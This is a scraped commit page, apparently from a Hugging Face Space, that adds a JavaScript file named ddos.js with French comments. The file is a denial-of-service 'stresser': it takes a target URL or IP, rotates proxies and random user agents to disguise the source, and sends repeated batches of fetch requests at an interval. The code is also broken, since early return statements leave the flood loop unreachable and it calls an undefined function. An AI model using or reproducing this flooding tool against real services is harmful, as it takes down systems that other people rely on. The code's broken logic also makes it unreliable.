Spaces:
Paused
Paused
Create ddos.js
Browse files123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167const
fs = require("fs"),
UserAgent = require('user-agents'),
HttpsProxyAgent = require('https-proxy-agent');
// J'AI ESSAYER DE COMMENTER LE CODE POUR UNE FOIS X) [Que le debug j'avais la flm]
/**
* Start ddos
*
* @param {object} options - Settings/Config.
* @param {function} emitter - Function Emitter.
*/
function start(options) {
try {
if (
(!options) ||
(options && typeof options !== "object")
) return;
const {
url, // Url à down (sa peut être une ip) {OBLIFATOIRE}
interval = 1000, // Interval par reques {FACULTATIF}
max = 100, // Nombre de request max par interval [Non définie = 100] {FACULTATIF}
proxy, // Proxy, peut être un tableau ou un fichier {FACULTATIF}
} = options;
if (!url || !url.startsWith("http")) return `Merci d'entrer une url\nPS: Si c'est une ip rajouter juste le protocole et le port\n\rpar example: http://<ip>:<port>`;
const
start = new Date(),
getTime = () => {
const
now = new Date(),
diff = now - start,
seconds = Math.round(diff / 1000),
minutes = Math.floor(seconds / 60),
remainingSeconds = seconds % 60;
return (`${minutes}m ${remainingSeconds}s`)
};
return `-> {${getTime()}} Lancement du stresser sur ${url}`;
let allProxy;
if (proxy) {
if (typeof proxy === "object" && Array.isArray(proxy)) allProxy = proxy;
else if (typeof proxy === "string" && fs.existsSync(proxy)) {
const all = fs.readFileSync(proxy, "utf-8")?.split("\n");
if (all.length != 0) allProxy = all
};
if (allProxy) return `-> {${getTime()}} ${allProxy?.length || 0} Proxy chargé !`
};
const getAgent = () => {
let
agent = new UserAgent().toString(),
proxy = ((allProxy || [])[Math.floor(Math.random() * (allProxy?.length || 0))]);
if (proxy && !proxy.startsWith("http")) proxy = `http://${proxy}`;
if (proxy) agent = new HttpsProxyAgent(proxy)
return agent
};
setInterval(() => {
let yes = err = 0;
for (let i = max; i--;) {
try {
fetch(url, { agent: getAgent() })
.then(response => { if (!response.ok) { err++; return `-> {${getTime()}} Network response was not ok` } else yes++ })
.catch(error => {
return `-> {${getTime()}} There was a problem with the fetch operation:`
err++
});
} catch (error) {
call(error);
err++
}
};
console.log(`-> {${getTime()}} SUCCES: ${yes} | ERR: ${err}`);
}, interval)
} catch (error) {
return error
}
};lib/ddos.jsAdded+167